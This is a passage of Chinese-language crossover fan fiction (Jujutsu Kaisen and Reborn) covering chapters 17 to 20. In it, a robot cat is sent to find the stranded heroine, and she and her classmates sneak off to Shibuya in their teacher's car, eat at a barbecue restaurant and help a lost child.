剩下三人似乎也同意了他的看法,所以这一圈大家都十分小心,最后止步于四十九杯。 这局没有人提前退出,大家都卯足了劲跟注,以至于他们互相都认为对方的牌很好。 结果一拿出来,除了绿川纱夏凑了两个对子,夏油杰和家入硝子都只有一对,更别提五条悟了,一个对子都凑不出来。 绿川纱夏看到这个结果简直是叹为观止,“你们就拿着这副牌叫的这么凶?” “赌博嘛,赌的就是一个心理博弈,要是人都被吓跑了提前退出,不就赚大了?”夏油杰面上看似十分平静,实则手默默捏紧了杯子。 绿川纱夏觉得他说的很有道理,只不过四十九杯的“巨款”还是让她对他们感到非常敬佩。 五条悟纳闷地让老板再上几大杯的果汁和几壶清酒,并声称自己绝对不会参与任何赌博游戏了。 老板也没想到这几个看着瘦瘦的年轻人这么能喝,诧异的神色在他眼里一瞬即逝,立马欢喜地应好。 绿川纱夏将这一切尽收眼底,猜测老板今天回去一定会开心地和家里人分享店里来了几头“水牛”。 就在五条悟努力灌果汁的时候,绿川纱夏依然锲而不舍地偷偷往里面掺杂点“小料”,然后又扮上体贴的假面向他嘘寒问暖。 她先是“好心”地帮五条悟倒好几杯果汁,趁其饮酒的瞬间,手迅速将一壶清酒倒了半壶到果汁桶里,再重复前面倒果汁的动作,顺便将果汁在手中摇晃均匀,以免被他察觉异样,最后等他中场休息的时候劝说他慢点喝。 这一套小连招下来也是成功把家入硝子和夏油杰看呆了,纷纷向她竖了个大拇指。 最后,四十九杯下肚,喝酒的两位上能保持一丝清醒,喝果汁的那位已经不胜酒力,醉醺醺地趴倒在桌子上了。 “嗯?醉了吗?” 绿川纱夏用手支着脸,笑眯眯地看着他的睡颜。 “醒来之后可不要忘了还欠我一个要求哦~”《 》 17、第十七章 泽田纲吉最近非常苦恼。 因为一些意外,他的同学绿川纱夏被送到了异世界,直到现在还没有与对方取得联系,也不知道她现在怎么样了…… 而对方的父母还正好隶属于彭格列,为了不让对方担心,他特地上门拜访。 在他磕磕绊绊地讲出自己编造的理由后,她们一脸放心地说,“啊,原来是到其他学校做交换生了吗?这孩子也真是的,什么也没和我们说过就走了,真是麻烦十代目你还特地跑一趟了。” “十代目你在我们就放心了啊哈哈哈哈。” 和她们说了谎话什么的还被对方信任了什么的,泽田纲吉表示十分心虚。 学校那边则用了生病的理由,比如生病感冒、腿骨折阑尾炎手术住院等等,但他实在想不出来如果短时间内绿川桑还不能回来,还能用什么理由了。 总之!他一定要尽快救回绿川桑! “入江君,还没有研制出来机器吗?”泽田纲吉用快哭了的表情看着他,据绿川桑离开这个世界已经过了两周了,到现在他们还一点头绪也没有。 现在只能祈祷入江君和斯帕纳能成功研制出穿越异世界的机器了——毕竟蓝波的异世界火箭筒太不稳定了,贸然使用的话,完全就是买一送一! 入江正一头发凌乱,衣领歪斜,戴着蓝框眼镜,双目认真地看着电脑上的数据,手按在自己的脖颈上,由于他昨天睡姿怪异,成功导致自己落枕了。 “快了快了,很快就可以成功了。”他一面说,一面飞速地检查着电脑屏幕上的一排排代码。 “十代目你别太担心了,既然他都这么说了,肯定很快就能联系上绿川那家伙了。”狱寺隼人见他神色担忧,忍不住开口安慰他。 “就是说啊,而且纱夏她这么厉害,一定会安然无恙的。”山本武笑着拍了拍他的肩膀。 虽然他们嘴上这么说,但心里的担心丝毫不比泽田纲吉少,尤其是狱寺隼人。 尽管平常和绿川纱夏拌嘴吵架最多的就是他,但真关系到对方的安危问题,他也是担心的不行。 “嘟嘟嘟——” 终端程序正在加载。 “哔——” 终端程序加载完毕。 屏幕忽然整个变暗,一丝声响也没有。 泽田纲吉立马转向入江正一,紧张地问,“这是怎么了?” 不会是程序错误,失败了吧? 入江正一好似没有听到他的话,没有第一时间回答,眼睛仍然死死地盯着屏幕,等到屏幕慢慢出现光亮和颜色,才终于松了口气。 “可以了,我已经把做出来的机器仿生猫投送到绿川桑在的那个世界了,一旦她用到死气之焰,就可以确定她的位置了。”入江正一扶了扶镜框,用手杆操控着机器猫行走。 众人互相对视一眼,眼里都多了一丝期待。 不过…… “要是用到死气之焰的话,应该是她遇到了什么危险了吧?”泽田纲吉弱弱地说。 不然正常情况下应该是用不到这玩意的。 他刚说完,大屏幕右上方的雷达地图就出现了一个小红点。 众人刚放下的心忽然又有点吊起来了。 “……看来能找到她了。”入江正一认真地操控着,屏幕上的画面不断变化,先是干净的街道、垃圾桶和停放的自行车,然后是各形各色的路人,比如疲惫的社畜、带着孩子的家庭主妇以及兴奋的游人。 “话说既然是异世界,应该和我们这个世界很不一样吧?”山本武想了想说。 “确实有这种可能性。”在无人注意的角落,突然出现了一个微型起降机,一个穿着黑色西装的小婴儿坐在真皮办公椅上,悠闲地喝着咖啡。 “reborn??!”泽田纲吉张大嘴巴,十分吃惊,“你又是从哪里钻出来的??” 小婴儿立马给了他一个飞踢,用小奶音说出成熟的话,“连这都察觉不到吗,看来要给你加练了。” 泽田纲吉吃痛地捂着脑袋,哀怨地看了他一眼。 “滴滴滴——” 刺耳的喇叭声兀的响起,在场的人都不禁捂住了耳朵。 原来是机器猫在过马路的时候差点被车撞到了,入江正一连忙操作机器猫过街。 “糟糕,看样子我们离雷达上的位置还有很远一段距离,以机器猫的脚力还需要走很久很久。”入江正一皱着眉头看向屏幕上的小地图。 “那怎么办??”狱寺隼人有些焦急。 “没事,我给它加装了尾翼加速器,速度甚至能与小汽车媲美。”入江正一敲击了一下键盘,那只机械猫在众人的注视下,某两个不可描述的小球位置长出了喷筒,只见他按下红色按钮,喷筒迅速喷射出蓝色的火焰,机器猫开始在道路上疾驰。 有目睹这一切的路人纷纷大吃一惊,有尝试拿手机拍照录像的,但因为机器猫的速度太快,都只能拍到一些模糊的画面。 更重要的是,因为机器猫做的惟妙惟肖,几乎看不出和正常的猫有区别,所以对于路人来说,等于是看到了猫蛋上挂了两加速器。 “诶——” 就在机器猫一路畅通无阻,朝着目标所在地越来越接近的时候,突然视线一阵翻天覆地地旋转。 众人一开始还以为是被障碍物绊倒了,下一秒就看到屏幕上出现了一个脸侧留着一簇刘海的少男,他正一脸好奇地看着机器猫,“这是什么东西?” 夏油杰刚做完任务打算回高专,正在替五条悟排队买限量版甜品,随意一瞥就看到了路上有一只屁股喷着火的猫。 这一下就引起了他的好奇心,甜品什么的可以放一放,这种奇葩的东西可是错过了就没了。 于是他迅速地跟了上去并抓住了它,先是挠了挠它的脸,又抓了抓它的胡须,但它始终没有任何反应。 “看着和普通的猫也没有什么区别啊。”夏油杰左瞧瞧右看看,也没有看出什么所以然来,他将猫整个抬起,认真地研究着猫屁股,“啊,原来是机器猫吗,难怪被提起来也没有叫呢。” 众人刚刚放心的心又忽然吊起来了。 好不容易在异世界投放下这只机器猫,要是被毁了的话,又不知道什么时候才有机会联系的上绿川纱夏了。 夏油杰摸到了猫咪耳朵边上的听筒,猜想操控的那一方可以通过猫咪发声,于是把大手在猫咪面前挥了挥,“你好?看得到吗?有人吗?” 入江正一没有立即打开话筒功能和他对话,而是将目光投向了泽田纲吉,“要和他说话吗?” 泽田纲吉一脸纠结地用力挠了挠头,用求助的目光看向reborn,“reborn,你觉得呢?” reborn沉思片刻,决定按兵不动,“先不说,看看他想干什么。” 夏油杰等了一会儿,仍然没有任何声响传来,决定把它带回高专,让其他人都瞧瞧。 * 高专内。 今天五条悟和绿川纱夏都没有出去做任务,两人一整天都泡在训练室对打。 ——当然,绿川纱夏本来打算躺在寝室里玩手机的,被五条悟死缠烂打了半天才勉为其难地答应他来训练场的。 五条悟的能力和体力都在她之上,和他打架特别费劲,她又不是一个上进的人,所以特别不想和他一起训练。 比起上次的小试牛刀,两人这次完全是放开了来打的。 五条悟攻击时一点也没放水,所过之处皆是碎石残土,不给她半点喘息的时间,经常是刚放出一招苍就接上一招赫。 就在绿川纱夏艰难躲开他的攻击时,他还很有闲心地问,“对了,欠你一个要求,你想干什么?” 他指的是打德州时他输得最多欠下的。 “以后再说。” 绿川纱夏刚说完,又一发苍打到她脚底的地面。 烟雾散去,飞沙溅起留下的地方,早已空无一人,她用死气之焰给自己加速,再用燃烧着绿色火焰的手枪不断向五条悟射击。 训练场也因着两人毫不收敛的攻击变得残缺不全,原本平整的地面变得坑坑洼洼一片,天花板也被她们打了好几个洞,墙壁也很难找出一片完好的地方。 时至黄昏,绿川纱夏面上和身上都多了不少伤痕,而五条悟连衣角都没沾上灰尘。 就在她大口大口地喘着气时,夏油杰登场了。 “还真是十分激烈的战局呢。”夏油杰吹了个口哨,手上提着一只黑色的猫咪,笑眯眯地看着她们。 “杰,你回来了。”五条悟朝他用力挥手,注意到他手上的猫,好奇地问,“那是什么?” “一只……猫?”夏油杰不确定地摸摸下巴。 “我有眼睛……”五条悟一脸无语,他想知道的是他特意带回来这只猫是因为什么。 绿川纱夏也跟着上前观察着这只小猫。 夏油杰握着小猫的两只胳膊把它抬了起来,“你们快看他下面。” 他想让她们看猫屁股底下的喷筒,但收获了两枚嫌弃的小表情,她们脸上写满了“没想到杰你是这种变态”“你居然连小猫咪都不放过”。 夏油杰:“……” 两人这样戏弄了一番夏油杰之后,才认真地看了起来,一眼就发现了那两个迷你的喷筒,绿川纱夏顺势摸了摸猫咪的其他部位,在它眼睛里看到了红光,估计是摄像头的位置,耳朵里有一个隐藏的听筒。 “原来是一只机器猫。”绿川纱夏了然道,“这做的看起来和真的一样,这技术——” 她认识的人里面好像也能做到这事。 “因为不知道制作它的人想干什么,怕做一些有害民众的事,所以我就把它带回来了。”夏油杰一本正经地说着,手又不自觉地揉了揉猫咪的肚子。 五条悟和绿川纱夏都一脸怀疑地看向他。 真的不是因为你单纯想撸猫吗?《 》 18、第十八章 “既然如此,我们把它交给夜蛾老师吧。”五条悟提议道。 他一定有办法能调查出这只猫的来历。 夏油杰点点头,“我也是这么想的。” 五条悟一回头,看见绿川纱夏若有所思的模样,挑了下眉,“怎么了?” 绿川纱夏摇摇头,“没事。” 只是有点怀疑这只猫的来历而已。 而通过机器猫实时播报,看到一切的众人也不免为难起来。 “怎么办?我们好像没有合适的机会和绿川桑联系。”泽田纲吉十分苦恼。 如果贸然开口的话,被他们知道绿川桑不是那个世界的人,有可能会给她带来麻烦。 “但是看起来她们相处的挺好的,应该不是敌人吧。”山本武沉思片刻后指出。 机械猫几经易手,画面一直翻转变化着,到最后刚好对准了绿川纱夏,只见她刚和另外两位少男说完话,就找了个他们看不见的死角偷偷将食指放在唇上,做了个噤声的动作。 众人一下就懂了她的意思,也就不再纠结了。 “喂,还不走吗?你很喜欢这只机器猫?”五条悟见她转过身看向那只机器猫,有些奇怪。 绿川纱夏嘴角扬起一个笑容,“是啊,感觉很有意思。” 五条悟定定地看了她两眼,没看出什么端倪,便收回视线,将手枕在脑后,“走吧,差不多也该饿了,今天吃什么好呢。” “还能吃什么,食堂翻来覆去就那么点东西。”夏油杰幽幽地说,泼了他一桶冷水。 绿川纱夏也深有体会地点点头,真不是她挑,她这辈子没吃过这么难吃的菜,感觉一对比,她妈妈做的菜都可以算是珍馐了。 五条悟无言以对,想了一会儿,兴奋地说,“要不我们出去吃吧!” 夏油杰和绿川纱夏对视一眼,显然是对于这个建议有些心动。 五条悟看出了她们的动摇,立刻乘胜追击,“你们也不想吃食堂那油腻腻还咸呼呼的菜吧?” “想一想,如果我们去涩谷的话,不仅可以吃上美味的和牛烤肉、香喷喷的西餐,还能买到限量版的甜品、新出的游戏卡带和最新的《jump》,难道你们不心动吗?”五条悟眼睛亮晶晶的,手舞足蹈地讲述,给她们留下遐想的空间。 她们两人自然是想去的,不过—— “夜蛾老师那边怎么办?要是他知道我们偷偷溜出去的话,肯定又要罚我们写检讨了。”夏油杰指出问题所在。 五条悟一脸自信地摆摆手,“你放心,我早就探查过了,夜蛾老师他有事,要明天才能回来,只要我们运气不这么背,被他抓到就行。” 这么说来偷偷溜出去吃个饭应该也没什么吧? 于是三人火速叫上了家入硝子,五条悟开来了夜蛾正道的车。 “你哪来的车钥匙?”坐上车的绿川纱夏好奇道。 五条悟哼笑两声,“夜蛾老师每次都固定放在办公桌的第二个抽屉里,只要在他回来之前放回去他就发现不了,我屡试不爽。” 绿川纱夏点点头,忽然想到另一个问题,“……等等,你有驾照吗?” “他都还没满十八岁,怎么可能有。”夏油杰插了一句。 五条悟是十二月过生日,现在还只是十月,所以他还没有到达能考驾照的年龄。 绿川纱夏:“??” 啊,所以她现在坐在一个没有驾照甚至未成年的人开的车里吗。 她默默抓紧了车顶的把手。 五条悟抬眼从后视镜中看到她的动作,顿时不满道,“喂喂,你什么意思,你是在怀疑我的车技吗?” 一边说着,他手一边转动着方向盘,来了个完美的漂移,正当他嘴角勾起得意的笑,想从绿川纱夏的脸上看到震惊的表情时,就看到对方用手捂着嘴,面色苍白的样子。 “……别转了,我晕车。”她声音低低地说,听上去十分虚弱,好像下一秒就要吐出来了一样。 五条悟的神经立刻紧张起来,这可不是他的车,要是被夜蛾老师抓到自己不仅偷用他的车,车里还一股呕吐物的味道,那他可真的要完了。 他手上的动作不自觉放缓,踩油门的脚也松开了点,用上他觉得是自己毕生最温柔的语气,声音里还不自觉带上了恳求,“我慢慢开,你千万别吐在车里。” 绿川纱夏动作迟缓地抬起手,比了个“ok”的手势,身子倒在座椅上,脑袋微微歪着,眼睛已经闭上了。 “早知道就应该乘虹龙去的。”五条悟面带苦涩。 “然后明天的新闻头条就要变成‘惊!涩谷上方竟出现几名悬浮人’。”家入硝子冷不丁地开口。 那也好过现在心惊胆战的,五条悟想。 “杰,你把我的外套给她。”五条悟目不转睛地看着前方,生怕自己稍有不慎让车子颠簸,“你盖着睡免得着凉了,万一想吐的话就吐我衣服上。” “哦对,我衣服口袋里还有几颗薄荷糖,你想吃的话自己拿。” 这个“你”自然指的就是绿川纱夏,她也不和他客气,接过外套披在身上,然后就闻到了一股淡淡的奶油味。 这家伙到底是有多爱吃甜品,外套都给他腌入味了,她边闭着眼小憩边在乡里想。 坐车时无法避免的抖动和皮座椅的气味让她的头越来越晕,最后慢慢陷入梦境。 “咚——咚——咚——” 一阵有规律的响声吸引了众人的目光,他们都不约而同地看向后座右侧的位置,绿川纱夏睡觉时因为没有支撑,下意识地朝窗边倒去,加之山路崎岖弯道多,脑袋不断左右晃动,不时撞到窗玻璃上,而她本人好似丝毫没有醒来的意思。 坐在她身边的家入硝子看不下去了,一把捞过她的脑袋放在自己肩上。 于是前面两位少男默契地收回视线,一时之间车内一片寂静,谁也没有再说话。 “喂,醒醒,到了。” 家入硝子猛戳靠在自己肩上的脑袋,薄荷色脑袋微微动了一下,发丝有些凌乱,青色眼睫慢慢抬起,平日清淡的眼瞳里少见的带着一丝呆滞和迷茫。 几人看着她这副模样也觉得特别新奇,家入硝子直接拿起手机给她“咔嚓”来了几张。 似是拍照的声音将她拉回了神,她的眼瞳慢慢聚焦,思绪慢慢回笼,慢半拍地说,“啊,到了。” 她身上还盖着五条悟宽大的外套,将外套递给五条悟之后,抬起手困倦地打了个哈欠,嗓音还带着一丝沙哑,“走吧。” 五条悟自然地接过外套穿上,忽然他的动作一顿,熟悉的外套上传来了陌生的香味——是一股清淡的茉莉香味。 “快点走吧,我都饿了。”可能是被绿川纱夏感染了,夏油杰边下车也边打了个哈欠。 等他都关上车门了,坐驾驶位的那位还是没有动静,夏油杰有些奇怪,俯下身子敲了敲车窗玻璃,“悟?” 五条悟下了车,靠在车身上,将车钥匙在手中抛了抛,看上去没有任何异常,“去哪吃?” “你们有想吃的店吗?”家入硝子提问,收获了三颗整齐划一的摇头。 “好,那我们就去上次吃的那家烤肉店吧。”家入硝子淡淡地说,利落地做好了决定。 果然,一群选择困难症的人就需要一个果断的人来拯救。 “欢迎光临,你们几位又来了啊。”老板笑眯眯地和她们打招呼,显然是对她们已经有印象了。 她的目光落到绿川纱夏身上,略有些讶异,“咦,这位是新朋友吗?” 五条悟不客气地选了一处自己喜欢的位置坐下,大大咧咧地给老板介绍道,“对,这家伙是我们的新同学哦。” 绿川纱夏朝老板微微一笑,跟着其他人落座。 老板给他们拿来菜单,熟稔地说,“还是那几样吧?新同学你看看有什么喜欢吃的吗?” 绿川纱夏道了声谢,接过菜单,随意选了几样自己喜欢吃的。 “好的。” 老板离开后,四人开始谈论起来。 聊着聊着,五条悟突然谈起上次三人一起出任务的事,“自从上次回来之后我就一直在想,那个叫莉莉安的女人一定撒谎了,且很有可能隐瞒了不少细节。” 夏油杰同意地点头,“那间屋子的疑点太多,特别是,发布任务的赌场老板肯定原本就知道点什么。” “他想要的是那枚眼球吗?”五条悟捏着下巴思索。 “应该不是,不然从任务结束到现在,他不可能一点动静都没有。”绿川纱夏插了进来。 “但他或许知道眼球在我们手上,在离开之前,我感觉到那栋房子的四楼有人在注视着我们。”五条悟说。 夏油杰拧起眉头,“又或许他是故意把眼球送到我们手上的?从我们解决掉人偶到莉莉安把眼球给我们,这一过程太顺利且轻松了。” 如果那枚眼球真像莉莉安说的那么重要,她又怎么可能这么轻松就交给他们呢? 况且,能在这么多诅咒师的袭击下脱身并护好那枚眼球,那些人偶又怎么可能被他们轻松解决。 她们三人早就觉得不对劲,但目前摆在明面上的线索太少,所以她们理不出个所以然来。 绿川纱夏认真思考着,余光忽然瞥到旁边沉默的家入硝子,正打算和她说点什么,就被前来上菜的老板打断了。 “你们最喜欢的五花肉来喽~”《 》 19、第十九章 “滋滋滋——” 红色的五花肉在碳烤盘上被烤得金黄焦香,散发出浓郁的香味,随着热气争先恐后地钻入四人的鼻子里。 五条悟眼睛紧紧盯着五花肉,下意识地咽了下口水,贴心地给它翻面照顾着,等待着到达五花肉最美味的时候就立马送入口中。 有这么好吃吗? 绿川纱夏看了眼另外两个人,她们的反应居然和五条悟一样,像是五花肉最忠诚的信徒,目不转睛地盯着那小小的一片肉。 这是被五花肉下药了啊? 绿川纱夏感到有些莫名其妙,只是烤肉而已,跟平常的有什么区别啊—— “欧一西!!!” 在肉片入口的瞬间,唇齿间满溢出肉质的鲜嫩和油脂的醇香,味蕾感受着特制的酱汁风味,绿川纱夏眼睛瞬间放大,忍不住为它的美味惊叹。 “靠!别和我抢!”五条悟不满地大声喊道,他手持筷子和夏油杰斗智斗勇,两双筷子在半空中快速挥舞,似是两名击剑选手不断过招,眼见着不大的烤盘中肉的数量慢慢减少,五条悟也管不上什么武德了,一手钳制住夏油杰的筷子,另一只手直接抓起肉就往嘴里塞。 老板大抵是将生肉都腌过许久,所以就算不蘸酱料和干碟,五花肉也十分有味。 在五条悟和夏油杰争抢的时候,家入硝子盘子里的肉已经堆成了一座小山,只见她不紧不慢地给每一片肉都裹上酱汁,蘸上干碟,最后再拿一片生菜作为五花肉的外衣,有条不紊地包好后再送入嘴中。 看得绿川纱夏都忍不住为她竖起大拇指——还是个老吃家来的。 一大盆五花肉很快见底,就在她们想再来一份的时候,老板满脸歉意地说,“不好意思,店里的肉都是前一天提前腌好的,今天店里人比较多,所以五花肉已经卖完了。” 四人的脸上难掩失望之色,却也无可奈何。 绿川纱夏感到十分惋惜,决定把这家烤肉店列为自己的人生清单中,有机会的话,一定也要带其他人来吃。 吃饱喝足后,几人理所当然地决定在涩谷逛个几圈,做一个饭后消食的大动作。 “我和杰要去买游戏卡带和漫画书,你们两呢?”五条悟和夏油杰已经从饭桌上的敌对关系又恢复成了霓虹好兄弟了,勾肩搭背地嘻嘻哈哈。 “我也一起去看看吧。”家入硝子说。 于是众人看向绿川纱夏,她举起手,眨眨眼睛,“报告,我也想买游戏机和漫画书,但是我没有钱。” 他们都知道绿川纱夏身上一没证件照,二没钞票,连手机都没有,还是五条悟拿了个备用机给她先用着。 五条悟听到这话一点犹豫也没有,掏出自己的钱包给了她好几张万元大钞,潇洒地说,“一点小钱,拿去花吧。” 虽然绿川纱夏并不是个缺钱的主,但是面对给自己花钱的少男她还是投去了一个欣赏的眼神并拍了拍对方的肩膀,“仁义这一块五条君你真是没得说,你真是我见过最帅的男孩。” 五条悟瞬间被她夸的有些飘飘然,如果他有尾巴的话,此时应该已经不受控制地左右摇摆了,他故作谦虚地摆摆手,“哪里哪里,这都是我应该做的,你也不用这么客气,叫我悟就好了。” “好,那以后你也叫我名字吧。” 两人用力地握了握手,两脸认真地对视,眼中满是惺惺相惜,不知道的还以为他们是并肩作战有过命交情的战友。 莫名沦为两人背景板的夏油杰和家入硝子:“……” “他们两到底在燃什么?” “不知道( ̄ー ̄)。” 因为是周末,又处于涩谷这样繁华的中心,所以到处都挤满了人,四人在挑选游戏卡带的过程中很快就走散了。 绿川纱夏正在一排排书架中穿梭,其中有热血少年漫、青春少女漫、魔幻冒险漫等,当然还有—— 看的人脸红心跳,需要打码才能过审的。 就在她俯下身子仔细地看着漫画的封面图,思考着人体的比例是否真的能相差这么大的时候,旁边隐隐传来了轻微的哭声。 “呜呜呜……” 她左右环顾了一圈,在一个角落里发现了一个哭泣的小男孩,他看上去也就五六岁的大小,穿着条宽松的牛仔背带裤,眼眶里的泪珠争先恐后地掉落下来,他无助地用肉嘟嘟的小手抹着鼻涕和眼泪。 由于周围人声嘈杂,他又刚好蹲在地上,被书架挡住了,如果听力不好还真发现不了。 绿川纱夏在他身前蹲下来,然后用手指轻轻戳了戳他的肩膀,等男孩抬起头看她,才轻柔地问,“你怎么了?” “呜呜呜……我,我和妈妈,走丢了呜呜呜……”男孩的话因为哭泣喘不上气变得断断续续的。 “那我带你去找妈妈好吗?”绿川纱夏本着助人为乐的精神,决定日行一善。 “yada!” 然后就被.干脆地拒绝了。 男孩泪眼汪汪地看着她,“妈妈、妈妈说过,不、不可以,跟陌生人走。” 这话没有问题。 但问题是他现在和妈妈走散了。 绿川纱夏陷入了纠结,这小孩不愿意跟她走,但她也不忍心将他扔在这不管,如果自己先去叫工作人员的话,又怕小孩一个人待在这哭不好。 嗯……怎么办呢? 就在绿川纱夏苦恼之际,一道清朗的少男声忽然出现。 “哟,纱夏你在这干嘛呢?……诶?这是你儿子吗?”五条悟像随机刷新的猫咪一样窜出,忽然出现在两人的视野中,手里还抱着一打游戏卡带。 她这个年纪想要有这么大的儿子,起码要在十三岁就生下来吧? 那也太刑了。 还没等她说什么,身旁的小豆丁已经像火箭一样咻地跑上前,紧紧地抱住了五条悟的大腿,带着点哭腔,“哥哥,我找不到妈妈了呜呜呜。” 绿川纱夏:? 事实证明,人和人之间有时候真得看点眼缘。 她这个先来的连声“姐姐”都没听到,五条悟一来这小子就火急火燎地扑上去,恨不得立马当人家的小尾巴跟着走。 到她这就来一句“不跟陌生人走”。 好吧,难道是她看上去不太有亲和力? 可她怎么样也比五条悟这个戴着过时墨镜、手上还捧着一大堆游戏卡带、还把陌生小屁孩认成她这个妙龄少女儿子的人看着可靠点吧? “这样。”五条悟拉起男孩的手,也蹲了下来,语气自然道,“那我带你去找妈妈吧,我可是好人哦。” 谁会说自己是坏人啊,绿川纱夏在心里吐槽。 男孩紧紧地握住他的手指,用力地点点头,“好的哥哥。” 绿川纱夏看着眼前这一幕,突然沉默了。 啊当然,她不是因为男孩的双标行为感到不快,而是在考虑要不要告诉五条悟,男孩的手上沾满了他的鼻涕和眼泪。 而且小孩子的手总是四处乱摸,混杂了各种各样的味道,她有个差不多大的小表弟,每次拉过他的小手一闻,手上的味道堪比生化武器,和很多天没洗、发馊了的酸臭袜子有的一拼。 看着两人和谐相处的模样,绿川纱夏决定暂时不打扰这美好的时光——等到回去之后再告诉他好了。 她美滋滋地在心里想自己真是个善良的人。 五条悟让男孩坐在自己脖子上,然后带着他到处走,边走边问道,“有人认识这孩子吗?” 五条悟本就凭借他出色的外貌吸引了一波目光,又因着帮孩子找妈妈一事,迅速成为了店里面的焦点,工作人员也在积极地帮助寻找,连本来不见人影的夏油杰和家入硝子也不知道从哪窜出来,问围观的绿川纱夏是怎么一回事。 绿川纱夏刚趁空去结了个账,手上还提着一个大大的购物袋。 男孩的妈妈本来就在焦急地寻找他,听到工作人员发布的广播后,立马到达了现场,紧紧地抱住了自己的孩子。 孩子妈妈真诚地向五条悟鞠躬道谢,五条悟立马摆摆手说只是举手之劳。 而在他们双方互相拉扯的时候,眼尖的绿川纱夏看到了一闪而过的黑色尖刺头,她立马心想不好,拽了拽旁边的夏油杰和家入硝子。 两人本来还一脸茫然,直到往她指的方向看了一眼后,立马像受了惊的刺猬一样,给人群之人的五条悟透去了一个自求多福的眼神,就跟着绿川纱夏在没人注意的地方偷偷溜出了店。 现在偷溜进去提醒他的风险太大了,还是先逃跑要紧。 五条悟本来还沉浸在做好事带来的赞美与喜悦之中,忽然感觉背后一凉,余光之中扫到了一个眼熟的身影,他好像在四处搜寻着什么,眼看着他立马就要看到自己这边,五条悟立马脚底抹油,用他生平最快的速度逃离了这家店。 他一出店门,就瞬移到了停车的位置,一打开车门,就发现自己的三名同期已经乖乖地坐在了位置上,连安全带都系好了。 五条悟:“……” 三人整齐划一地朝他咧开嘴笑,“欢迎回来。” 五条悟,他们的同期兼职临时司机,用幽怨地眼神扫过他们每一个人,三人立马心虚地看向窗外,他在心里骂骂咧咧了一番后,才终于插进车钥匙,踩下油门开回高专。《 》 20、第二十章 四人一回到高专,就护送着五条悟回到办公室放钥匙。 绿川纱夏和家入硝子负责站在窗边查看情况,一旦出现意外就立刻跳窗逃跑,而夏油杰则是在一路都设置了能起监视作用的小煤球,一种因为人们烧放太多煤炭导致环境污染而产生的咒灵,其体积小且颜色深,适合隐匿探查消息而不易被发现,夏油杰本人蹲在门口放哨。 “不用这么大惊小怪的吧,夜蛾老师他根本就没注意到我们,就算他立刻赶回来,也肯定还要一段时间。”五条悟十分闲适地走进办公室,丝毫没有可能被抓包的紧张感。 “话别说太早,你知道上个立flag的人怎么样了吗?”透过窗户眺望远方的绿川纱夏淡淡地说。 “……怎么样了?” 绿川纱夏的视线扫过他张扬的脸庞,故作神秘地说,“等一下你就知道了。” 还能怎么样,当然是flag倒了呗。 五条悟轻哼一声,不紧不慢地来到办公桌前,随意地翻看着桌上的东西,几乎全是他们的“战利品”,除了一沓摆放整齐的任务报告,还有上次带回来的木盒子和那只黑色机械猫。 他拿起最上面那张书写整齐、字迹娟秀的任务报告,内容含括了时间、地点、人物,清晰地写出了任务发展过程以及遇到的疑点。 而下一张就是他的“抽象画”,在空白的纸张上画了几个形象各异的木偶,上面标注了他们的能力和弱点,再潦草地补了几个字上去就算完成。 五条悟:…… 没有对比就没有伤害。 他下意识地看了一眼绿川纱夏,而对方好似已经完全被桌上的黑色机器猫吸引了注意力,目不转睛地盯着那只猫。 这只猫到底有什么特别的地方,值得她这么关注? 就在他毫不羞愧地将任务报告归于原位,准备慢慢悠悠地将车钥匙还回去的时候,夏油杰忽然出声提醒,“不好,夜蛾老师已经回来了……而且是极速版的,差不多再过两分钟就能到办公室了。” 此言一出,五条悟的脑子宕机了一瞬,然后就火急火燎地打开了办公桌的抽屉,匆忙地将钥匙扔在里面。 绿川纱夏立马将另一面的窗户打开,扶着窗框蹲在窗台上,让他们先走,自己来断后。 办公室在二楼,对她们来说,跳下去并不是难事。 夏油杰和五条悟两人推推搡搡地跳了下去,在确定家入硝子也安全落地后,绿川纱夏又看了眼办公桌上的那只黑猫,从外侧轻轻将窗户合上,恢复成原来的模样,再轻盈地一跃,轻声落地。 四人偷偷摸摸地返还宿舍,没有一个人发现,原本应该放在第二格抽屉的车钥匙,在五条悟的大意下,被放在了第三格抽屉。 正如夏油杰所预料的,在他们离开后不到一分钟,夜蛾正道就推门而入,锐利地眼睛巡视着办公室的一切,在确定室内没有人后,他才大步流星地走近办公桌。 如果没看错的话,刚刚他在涩谷看到的一闪而过的白发少男应该就是悟没错。 这群家伙不在学校好好训练,大晚上的跑出去野,不知道他们是不是四个人都参与了,总之杰那家伙一定也和悟“狼狈为奸”了。 自从上次他们坐虹龙被罚之后,杰应该谨慎起来了,所以他们去涩谷乘坐的交通工具有很大可能就是他留在校内的车。 他们应该还没来得及把钥匙放回来,这样子的话,只要看一下钥匙在不在…… 夜蛾正道毫不犹豫地拉开了那个隐隐有缝隙的抽屉,却发现自己的车钥匙好好地躺在里面,就在他怀疑难道是自己看错了的时候,突然发现自己打开的是第三格抽屉而不是自己一贯以来放钥匙的第二格抽屉。 * “呼——”五条悟一屁股坐在自己宿舍的地上,心有余悸地说,“好险,差点就被抓到了。” 根据小煤球提供的情报,他们离开之后间隔不到一分钟,夜蛾老师就进了办公室。 “悟你应该没留下什么破绽吧?”夏油杰问。 刚刚跑的太急了,没来得及仔细检查过,现在回想起来,还真有些不放心呢。 “放心吧,这能有什么问题。”五条悟不在意地摆摆手,一点没注意到自已的失误,余光瞥到绿川纱夏放在地上的购物袋,脑袋电光石火般闪出一个念头,“既然你身上一分钱都没有,这段时间你是怎么吃饭的?” 绿川纱夏的动作一顿,慢慢抬起脑袋,对着他眨巴眨巴眼睛,脸上难得出现一个憨憨的笑容,五条悟顿觉不妙,下一秒,她打了个响指,手中变出了一张学生卡,上面陡然写着【五条悟】三个大字。 她当然没有未卜先知的能力,本来也不属于这个世界,只是恰巧在初遇时捡到了他的学生卡,才得知他的姓名和学校。 也就是说,这段时间她一直在用他的卡去食堂吃饭。 五条悟的眼睛睁的大大的,“我找了这么久的学生卡原来在你这!!” “你这可恶的家伙,难道不知道‘拾金不昧’这个词吗?”五条悟气的牙痒痒。 “拾金不昧是善良的人才会做的吧?”绿川纱夏笑眯眯地说,“我和悟你不一样。” 尽管有时候他并不情愿,但他仍然会去做那些强加给他的责任和义务,“最强”的名号带给他的重量远超于他所能得到的那些微不足道的好处。 他看似是他们之中最反叛、不听规劝的,但他恰恰是最守序的那个人。 她不一样,她只会做自己想做的、对自己有利的事,至于这些事在别人眼中是善良还是邪恶的,和她都没有干系。 “善良”是上位者对下位者的规训,是为了让其他人心甘情愿地为自己奉献创造出来的词,是将人摆到自己满意的位置上的一个标签。 她不想做一个利他的人。 